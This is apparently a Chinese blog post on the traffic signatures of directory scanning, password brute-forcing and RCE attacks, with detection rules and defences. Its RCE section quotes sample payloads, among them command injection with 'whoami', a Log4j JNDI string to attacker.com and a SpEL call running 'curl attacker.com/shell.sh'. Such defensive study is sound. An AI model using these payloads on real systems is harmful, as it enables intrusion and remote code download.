【HW系列】—目录扫描、口令爆破、远程RCE流量特征
本文仅用于技术研究,禁止用于非法用途。
文章目录
- 目录扫描漏洞的流量特征及检测方法
- 一、基础流量特征
- 二、工具特征差异
- 三、绕过行为特征
- 四、关联行为特征
- 五、检测与防御建议
- 口令爆破漏洞的流量特征及检测方法
- 一、基础流量特征
- 二、工具标识特征
- 三、绕过行为特征
- 四、响应关联特征
- 五、检测与防御建议
- RCE漏洞的流量特征及检测方法
- 一、请求构造特征
- 二、攻击载荷特征
- 三、工具与行为特征
- 四、响应特征
- 五、检测与防御建议
目录扫描漏洞的流量特征及检测方法
目录扫描漏洞的流量特征主要体现在高频异常请求模式、特定工具标识和服务器响应异常等方面。以下为基于搜索结果整理的核心特征及检测策略:
一、基础流量特征
- 高频短时请求
- 短时间内发起大量HTTP请求(如每秒数十次),且请求行中的URL路径部分连续变化,例如依次尝试 /admin、/login、/backup 等敏感目录。
- 示例流量:
GET /admin HTTP/1.1
GET /wp-admin HTTP/1.1
GET /.git/config HTTP/1.1
- 异常响应码分布
- 服务器返回大量 404 Not Found 状态码(占比超过90%),少量 200 OK 或 403 Forbidden 响应可能对应存在的敏感路径。
- 参数与路径构造特征
- 请求路径中常包含常见敏感文件名(如 config.php、web.xml)或目录名(如 /uploads、/database)。
- 使用连续字母或数字排列的路径(如 /a → /b → /c)探测目录结构。
二、工具特征差异
不同扫描工具的流量具有显著标识:
- 御剑
- 主要使用 HEAD 方法,请求头仅包含基础字段(Host),无其他扩展头(如Cookie、Referer)。
- 响应包长度极短(因HEAD方法不返回正文)。
- DirBuster
- User-Agent 包含工具标识(如 DirBuster/1.0),且可能附带版本信息。
- 采用多线程模式,请求间隔时间随机性较低。
- Dirb
- User-Agent 伪装为老旧浏览器(如 Internet Explorer 6.0),此类标识在正常流量中极少出现。
- Dirsearch
- 路径尝试包含动态扩展名(如 .php、.jsp)与目录组合(如 /admin/login.php)。
三、绕过行为特征
- 编码混淆
- 对路径进行URL编码(如 %2e%2e%2f 表示 …/)或双重编码(如 %252e%252e%252f)以绕过基础过滤规则。
- 示例:
GET /%77%70%2d%61%64%6d%69%6e HTTP/1.1 // 对应 "/wp-admin"
- 协议级试探
- 结合 HTTP/1.0 与 HTTP/1.1 交替请求,测试服务器兼容性。
- 使用分块传输编码(Transfer-Encoding: chunked)规避内容长度检测。
四、关联行为特征
- 存活检测机制
- 在扫描前发送固定探测请求(如 GET /robots.txt 或 GET /favicon.ico)确认目标可达性。
- 敏感路径深度探测
- 对发现的潜在敏感路径发起二次遍历(如发现 /admin 后继续尝试 /admin/config.ini)。
- 与目录遍历漏洞联动
- 扫描完成后可能触发目录遍历攻击(如尝试 /images/…/…/etc/passwd),此类流量会携带 …/ 符号和系统敏感文件路径。
五、检测与防御建议
- 流量检测规则
- 统计单IP的404响应率阈值(如1分钟内404占比 >70% 则告警)。
- 匹配User-Agent中的工具标识(如 DirBuster、sqlmap)。
- 防御策略
- 路径白名单:限制应用仅允许访问预设目录,拒绝非常规路径请求。
- 动态混淆:对不存在路径返回相同长度的随机内容,干扰扫描器判断。
- 频率限制:设置IP请求速率阈值(如每秒 ≤10次)。
口令爆破漏洞的流量特征及检测方法
口令爆破漏洞的流量特征主要体现在高频请求模式、异常参数构造和工具标识特征等方面。以下结合多篇技术文档整理的核心特征及检测策略:
一、基础流量特征
- 高频重复请求
- 短时间内(如1分钟内)同一IP向同一登录接口发起数十至数百次请求,请求间隔时间短且规律性强(如固定0.5秒/次)。
- 典型场景:
POST /login HTTP/1.1
username=admin&password=123456
POST /login HTTP/1.1
username=admin&password=admin
POST /login HTTP/1.1
username=admin&password=Password123
- 参数构造特征
- 密码字段值呈现字典化特征(如 password=123456、password=admin、password=Welcome2023);
- 部分请求携带特殊符号(如 password=abc!@#)或变形规则(如 password=Admin123 → Adm1n123);
- 存在参数名混淆(如 pwd、passwd、pass 交替出现)或加密字段(如 u_pwd=5f4dcc3b5aa765d61d8327deb882cf99)。
二、工具标识特征
- User-Agent 异常
- 包含自动化工具标识(如 sqlmap/1.*、XSSer/1.0)或老旧浏览器版本(如 Internet Explorer 6.0);
- 存在自定义字符串(如 BruteForceBot)或缺失标准头信息(如无 Referer 字段)。
- 请求头关联行为
- 固定会话ID重复使用(如 Cookie: JSESSIONID=xxx 连续出现在不同请求中);
- 缺少正常用户交互头(如 Accept-Language 字段单一、无 DNT 隐私标识)。
三、绕过行为特征
- 编码混淆技术
- 对密码字段进行多重编码(如URL编码 %61%64%6d%69%6e 表示 admin);
- 使用动态盐值拼接(如 password=MD5(pass+salt))或加密函数(如 RSA(public_key, password))。
- 验证码绕过策略
- 请求中固定验证码值(如 code=000000)或直接删除验证码参数;
- 利用验证码接口未绑定会话的漏洞,通过多线程并发绕过校验。
四、响应关联特征
- 异常响应码分布
- 大量 401 Unauthorized 或 403 Forbidden 响应(占比超90%),偶现 200 OK(成功命中正确密码);
- 返回包长度呈现规律性差异(如错误响应固定为200字节,成功响应扩展至500字节)。
- 敏感信息泄露
- 错误响应中暴露账号有效性提示(如 {“code”:1,“msg”:“密码错误”} 与 {“code”:2,“msg”:“用户不存在”});
- 成功登录后返回过度的用户信息(如角色权限、Token有效期等)。
五、检测与防御建议
- 流量检测规则
- 统计单IP请求频率阈值(如60秒内同一接口请求 >30次触发告警);
- 匹配密码字段值的弱口令字典特征(如正则规则 password=.123.)。
- 防御策略
- 多因素认证:强制启用短信/邮箱验证码或生物识别;
- 动态锁定机制:单账号连续失败5次锁定30分钟,或引入渐近延迟(如第N次失败后等待N²秒);
- 行为分析:结合IP信誉库、设备指纹和登录地理位置进行风险评估。
RCE漏洞的流量特征及检测方法
远程代码执行(RCE)漏洞的流量特征可从请求构造异常、攻击载荷特征、工具标识和响应行为等多个维度分析。以下是基于多篇技术文档整理的核心特征及检测策略:
一、请求构造特征
- 异常参数构造
- 特殊符号高频出现:请求参数中包含命令分隔符(如 ;、|、&&)、逻辑运算符(如 ||)或反引号(`),用于拼接恶意指令。
示例:http://example.com/ping?ip=127.0.0.1; whoami - 编码混淆:参数值经过URL编码、Base64或十六进制转换,例如 %3B(对应 ;)或 d2hvYW1p(whoami的Base64编码)。
- 动态语言函数调用:如PHP的 eval($_POST[‘code’]) 或Java的 Runtime.getRuntime().exec(),流量中可能包含 eval、system 等敏感函数名。
- 特殊符号高频出现:请求参数中包含命令分隔符(如 ;、|、&&)、逻辑运算符(如 ||)或反引号(`),用于拼接恶意指令。
- 序列化数据特征
- 反序列化攻击:请求体中包含Java/Python序列化数据,特征为二进制流或编码后的JSON/XML结构,可能携带恶意类名(如 CommonsCollections)或方法调用链。
- 模板注入(SSTI):请求参数包含模板引擎语法,如Jinja2的 {{7*7}} 或SpEL的 T(java.lang.Runtime).exec(‘id’)。
二、攻击载荷特征
- 命令注入特征
- 系统命令高频出现:如 whoami、cat /etc/passwd、netstat -an 等探测或提权指令。
- 路径遍历与敏感文件操作:如 …/…/etc/passwd 或 C:\Windows\System32\drivers\etc\hosts,用于读取系统文件。
- 框架/组件漏洞利用特征
- Log4j2 JNDI注入:流量中包含 ${jndi:ldap://attacker.com/exp} 等格式的Payload。
- Spring SpEL注入:利用表达式语言执行命令,如 T(java.lang.Runtime).getRuntime().exec(‘curl attacker.com/shell.sh’)。
- Apache Struts OGNL注入:如 %{(#_=‘multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm)}。
三、工具与行为特征
- 自动化工具标识
- User-Agent异常:包含 sqlmap、Burp Suite 或自定义扫描器标识(如 XSSer/1.0)。
- 高频试探性请求:短时间内对同一接口发起多次变种攻击,例如尝试不同编码方式的Payload或命令组合。
- 绕过行为特征
- 通配符与转义符滥用:如 cat /et?/pass* 或 c\at hello.txt,利用系统解析规则绕过过滤。
- 未初始化变量注入:在命令末尾追加空变量(如 $a),利用系统对空值的忽略特性绕过黑名单。
四、响应特征
- 异常响应内容
- 命令执行结果回显:响应中包含系统命令输出(如用户权限信息、文件内容)。
- 错误信息泄露:如Java堆栈跟踪暴露 java.lang.Runtime.exec() 的调用路径,或PHP的 eval() 错误提示。
- 响应长度与状态码异常
- 成功执行时的响应扩展:例如正常请求响应长度为200字节,成功执行后因回显结果增至500字节。
- 错误码激增:大量 500 Internal Server Error 或 400 Bad Request,可能因恶意Payload触发解析失败。
五、检测与防御建议
- 流量检测规则
- 正则匹配:针对命令分隔符(如 ;、|)、敏感函数名(如 eval、exec)和常见Payload(如 jndi:、T(java.lang.Runtime))设计规则。
- 行为分析:监控单IP的高频请求(如1分钟内超过50次)或异常响应码分布(404/500占比超过80%)。
- 防御策略
- 输入白名单验证:限制参数格式(如IP地址正则匹配)并过滤危险符号。
- 禁用危险函数:在PHP配置中设置 disable_functions = system, exec,或Java中限制 Runtime.exec() 的调用权限。
- 安全框架集成:使用RASP(运行时应用自保护)技术监控代码执行上下文,阻断异常调用链。
注:本文遵循CSDN社区内容规范,不涉及具体攻击实现,重点探讨防御方法论。
相关文章:
【HW系列】—目录扫描、口令爆破、远程RCE流量特征
本文仅用于技术研究,禁止用于非法用途。 文章目录 目录扫描漏洞的流量特征及检测方法一、基础流量特征二、工具特征差异三、绕过行为特征四、关联行为特征五、检测与防御建议 口令爆破漏洞的流量特征及检测方法一、基础流量特征二、工具标识特征三、绕过行为特征四…...

如何在WordPress网站中添加相册/画廊
在 WordPress 网站上添加相册可以让您展示许多照片。无论您是在寻找标准的网格相册画廊还是独特的瀑布流相册画廊体验,学习如何在 WordPress 网站上添加相册总是一个好主意。在本教程中,我们将介绍两种为 WordPress 网站添加相册的方法:使用区…...
【NLP基础知识系列课程-Tokenizer的前世今生第一课】Tokenizer 是什么?为什么重要?
语言的“颗粒度”:我们到底在切什么? 我们都知道模型要处理文本,第一步是把一段段字符变成“token”。但这些 token 究竟应该是句子、单词,还是更小的片段,比如“un break able”? 这背后涉及的是一个非…...

Codeforces Round 1025 (Div. 2)
Problem - A - Codeforces 查有没有人说谎,有一个必错的情况: 两个人都说输了,必有人撒谎,还有就是所有人都赢了,也是撒谎 来看代码: #include <iostream> #include <vector> using namespa…...

Ubuntu20.04操作系统ssh开启oot账户登录
文章目录 1 前提2 设置root密码3 允许ssh登录root账户3.1 编辑配置文件3.2 重启ssh服务 4 安全注意事项 1 前提 ssh可以使用普通用户正常登录。 2 设置root密码 打开终端,设置密码 sudo passwd root # 设置root密码3 允许ssh登录root账户 3.1 编辑配置文件 su…...

类欧几里得算法(floor_sum)
文章目录 普通floor_sum洛谷P5170 【模板】类欧几里得算法 万能欧几里得算法求 ∑ i 1 n A i B ⌊ a i b c ⌋ \sum_{i1}^{n}A^iB^{\lfloor \frac{aib}{c} \rfloor} ∑i1nAiB⌊caib⌋求 ∑ i 0 n ⌊ a i b c ⌋ \sum_{i0}^n \lfloor\frac{aib}{c}\rfloor ∑i0n⌊caib…...

每日Prompt:卵石拼画
提示词 世界卵石拼画大师杰作,极简风格,贾斯汀.贝特曼的风格,彩色的鹅卵石,斑马头像,鹅卵石拼画,马卡龙浅紫色背景,自然与艺术的结合,新兴的艺术创作形式,石头拼贴画&am…...
湖北理元理律师事务所观察:债务优化如何成为民生安全网
据央行2023年报告,中国家庭债务收入比达137.8%。面对债务高压,湖北理元理律师事务所的实践揭示:专业债务规划的价值不仅是减负数字,更是构建社会稳定的微观防线。 一、从“催收恐惧”到“主动管理”的转变 该所服务数据显示&…...
AI时代新词-机器学习即服务(MLaaS)
一、什么是机器学习即服务(MLaaS)? 机器学习即服务(Machine Learning as a Service,简称MLaaS)是一种云计算服务模式,它将机器学习工具和平台作为服务提供给用户。用户可以通过云平台访问机器学…...
设计模式简述(二十)规格模式
规格模式 描述组件 使用 描述 规格模式并不在传统的23设计模式中,属于后面扩展的设计模式。 简单描述就是对一批数据进行多条件(包括逻辑组合、有点装饰器的感觉,可以不断套娃)匹配。 组件 实体 package dp.spec;/*** TODO** …...
符合Python风格的对象(覆盖类属性)
覆盖类属性 Python 有个很独特的特性:类属性可用于为实例属性提供默认 值。Vector2d 中有个 typecode 类属性,bytes 方法两次用到了 它,而且都故意使用 self.typecode 读取它的值。因为 Vector2d 实 例本身没有 typecode 属性,所…...
题目 3314: 蓝桥杯2025年第十六届省赛真题-魔法科考试
题目 3314: 蓝桥杯2025年第十六届省赛真题-魔法科考试 时间限制: 3s 内存限制: 512MB 提交: 245 解决: 49 题目描述 小明正在参加魔法科的期末考试,考生需要根据给定的口诀组合出有效的 魔法。其中,老师给定了 n 个上半部分口诀 a1, a2, . . . , an 和 m…...
Java八股-Java优缺点,跨平台,jdk、jre、jvm关系,解释和编译
java优势劣势? 优势:面向对象,平台无关,垃圾回收,强大的生态系统 劣势:运行速度慢(相比于c和rust这样的原生编译语言会比较慢),语法繁琐(相比于python&…...
linux 内核态和用户态定时器函数使用总结
1,场景总结 定时器类型精度范围适用场景注意事项用户态信号定时器秒级简单任务调度、心跳检测信号处理函数中不可调用非异步安全函数timerfdepoll纳秒级高精度事件循环、多媒体处理需要配合IO多路复用机制使用内核timer_list毫秒级设备驱动、硬件交互基于jiffies时…...
支持selenium的chrome driver更新到136.0.7103.113
最近chrome释放新版本:136.0.7103.113 如果运行selenium自动化测试出现以下问题,是需要升级chromedriver才可以解决的。 selenium.common.exceptions.SessionNotCreatedException: Message: session not created: This version of ChromeDriver only s…...

硬件服务器基础
1、硬件服务器基础 2、服务器后面板 3、组件 3.1 CPU 3.2 内存 3.3 硬盘 3.4 风扇 4、服务器品牌 4.1 配置 4.2 CPU 架构 4.2.1 CPU 命名规则 4.2.2 服务器 CPU 和家用 CPU 的区别 4.2.3 CPU 在主板的位置 4.2.4 常见 CPU 安装方式 4.3 内存中组件 4.3.1 内存的分类 4.3.1.1 …...
LVS的DR模式部署
目录 一、引言:高并发场景下的流量调度方案 二、LVS-DR 集群核心原理与架构设计 (一)工作原理与数据流向 数据包流向步骤3: (二)模式特性与53网络要求 三、实战配置:从9环境搭建到参数调整…...

TRS收益互换平台开发实践:从需求分析到系统实现
一、TRS业务概述 TRS(Total Return Swap)收益互换是一种金融衍生工具,允许投资者通过支付固定或浮动利息,换取标的资产(如股票、指数)的收益权。典型应用场景包括: 跨境投资ÿ…...

测试Bug篇
本节概要: 软件测试的生命周期 bug的概念 buh要素 bug等级 bug生命周期 对于bug的定级与开发发生冲突如何解决 一、 软件测试的⽣命周期 软件测试贯穿于软件的整个生命周期,针对这句话我们⼀起来看⼀下软件测试是如何贯穿软件的整个生命周期。 软…...

【Linux系统移植】Cortex-A8 Linux系统移植(超详细)
目录 前言 一、ARM开发板ARM简介RISC和CISCARM产品分布核心板S5pv210 SOC嵌入式系统开发方式 二、嵌入式系统组成为什么要系统移植内核移植框图 三、嵌入式开发环境搭建搭建开发环境总流程设置ubuntu与windows共享目录修改用户为root用户安装NFS服务器安装tftp服务器安装交叉编…...

第十五届蓝桥杯大赛软件赛国赛Python 大学 C 组试做【本期题单: 设置密码、栈】
早上好啊大伙,这一期依旧是蓝桥杯备赛刷题的记录。 本期题单:设置密码、栈 前言 前段时间准备省赛,运气好进国赛了。所以就开始准备6月份的国赛。但是近期还有别的比赛要准备,所以刷题的速度比较慢,可能每一期就会有一…...

报错SvelteKitError: Not found: /.well-known/appspecific/com.chrome.devtools.json
报错信息 SvelteKitError: Not found: /.well-known/appspecific/com.chrome.devtools.json 解决方案一 更新所有依赖 npm update解决方案二(不一定成功) src\lib\hooks.server.ts,每次请求服务器时执行 import type { Handle } from &…...

word添加页眉
问题一: 为word文档添加页眉。 方法: 1、在要添加页眉的第一页页面顶端双击页眉区域,如果添加页眉页上面还有其他页或者与上一页添加页眉内容不同,记得取消“链接到前一节”(点击使其上面没有灰色即可)&…...
JavaScript 中的 BigInt:当普通数字不够“大“时的救星
前言 大家好!今天我们要聊一聊 JavaScript 中那个"大"到不行的数据类型 —— BigInt。如果你曾经因为 JavaScript 的数字精度问题而抓狂,或者好奇为什么 9007199254740992 9007199254740993 会返回 true,那么这篇文章就是为你准备…...
通过mailto:实现web/html邮件模板唤起新建邮件并填写内容
一、背景 在实现网站、html邮件模板过程中,难免会遇到需要通过邮箱向服务提供方发起技术支持等需求,因此,我们需要通过一个功能,能新建邮件并提供模板,提高沟通效率 二、mailto协议配置说明 参数描述mailto:nameema…...

2025推客系统小程序开发:独立部署源码交付,高性价比裂变增长引擎
在私域流量争夺白热化的今天,源码独立部署的推客系统小程序已成为企业构建自主分销体系、降低获客成本的核心利器。基于成熟案例与技术沉淀,我们提供安全可控、高性价比的一站式解决方案,助力企业快速搭建专属推客生态,实现长效增…...
【Python零基础入门系列】第6篇:Python 的数据结构世界(列表、字典、集合、元组)
欢迎来到 Python 零基础入门系列的第六篇! 前面我们学会了写 Hello World、掌握了变量与数据类型、学会了控制程序流程,还能写写函数、读读文件。现在,我们要走进 Python 的数据结构世界,这也是写程序时最核心的一环之一。 你可以把“数据结构”理解成放数据的容器,或者是…...
MVCC 原理与并发控制实现
MVCC 原理与并发控制实现 1. MVCC 基本概念 MVCC(Multi-Version Concurrency Control,多版本并发控制)是现代数据库系统中实现并发控制的核心技术之一。与传统的锁机制不同,MVCC通过维护数据的多个版本来实现非阻塞读取。 关键结论:MVCC的核…...

CentOS 7.0重置root密码
文章目录 版本:CentOS 7.0内核版本:CentOS Linux, with Linux 3.10.0-123.el7.x86_64 服务器重启后,等待进入上述页面,按⬆⬇键,中断正常启动。在此页面按E,进入编辑模式 继续按⬇,找到linux16…...

YOLOV11改进策略【最新注意力机制】CVPR2025局部区域注意力机制LRSA-增强局部区域特征之间的交互
1.1网络结构 1.2 添加过程 1.2.1 核心代码 import torch import torch.nn as nn import torch.nn.functional as F from einops import rearrangedef patch_divide(x, step, ps):"""Crop image into patches.Args:x (Tensor): Input feature map of shape(b, …...